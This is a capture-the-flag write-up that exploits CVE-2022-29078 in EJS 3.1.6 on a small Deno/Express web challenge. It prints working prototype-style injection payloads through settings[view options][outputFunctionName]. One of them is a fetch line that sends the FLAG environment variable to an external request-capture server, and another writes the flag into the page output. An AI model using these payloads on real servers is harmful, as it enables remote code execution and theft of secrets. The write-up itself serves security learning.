Published on: February 6, 2025
5 min read · Posted by Baba is Dead
This old service lets you make some interesting queries. It hasn't been updated in a while, though.
We are greeted with this page
You input a duck name, and get info on it
Nothing special here. Lets look at the source code.
We also can see where the flag is located in the server, inside the environment variables
if (!Deno.env.has('FLAG')) {
throw new Error('flag is not configured')
}
The hint told us that the website hasn’t been updated. This usually clues us into a CVE attack, usually because the modules are outdated.
import express from 'npm:[email protected]'
import 'npm:[email protected]'
Checking the versions of each module, we can google for common CVE’s on any CVE website. I use this
Notable, EJS version 3.1.6 seems to have a major CVE, CVE-2022-29078, which allows for an RCE attack.
This writeup provides a good explanation of how the CVE works. Basically, if the server is allows the user to have their own attributes in the “data” parameter of the render method in ejs, then their server will be exposed to an RCE. In this case, that is true.
app.post('/', (req, res) => {
for (const [breed, summary] of Object.entries(breeds)) {
if (req.body?.breed?.toLowerCase() === breed.toLowerCase()) {
res.render('search', {
summary,
notFound: false,
...req.body
})
}
return
}
})
The attributes in req.body are parsed into the data parameter of the render method in ejs. This allows the user to conduct the RCE by change the settings[view options][outputFunctionName] value which can then execute arbitrary code.
For example, if the attacker sets
settings[view options][outputFunctionName]=x;console.log('hello');s
Then the console.log(‘hello’) will be executed by the ejs parser.
At first, tried a simple fetch request to try to exfiltrate the code:
settings[view options][outputFunctionName]=x;fetch('myserver?'+Deno.env.get('FLAG'));s
I used requestBin to exflitrate the data. However, it seems the request did not go through. This could be because the network restricts external requests.
Then, I tried digging deeper into how EJS works to see if I can get the webpage to display the flag instead.
prepended +=
' var __output = "";\n' +
' function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}
This is also where the exploit happens. opts.outputFunctionName is where our payload is.
Right above that, we see a __output. Judging by the name, I assumed that this is probably the request response that is outputted by EJS. As such, if I add the Flag to this output, I should see the flag in the webpage.
settings[view options][outputFunctionName]=x;__output+=Deno.env.get('FLAG');s
Using Burpsuite:
And we get our flag:
Please login to comment
No comments yet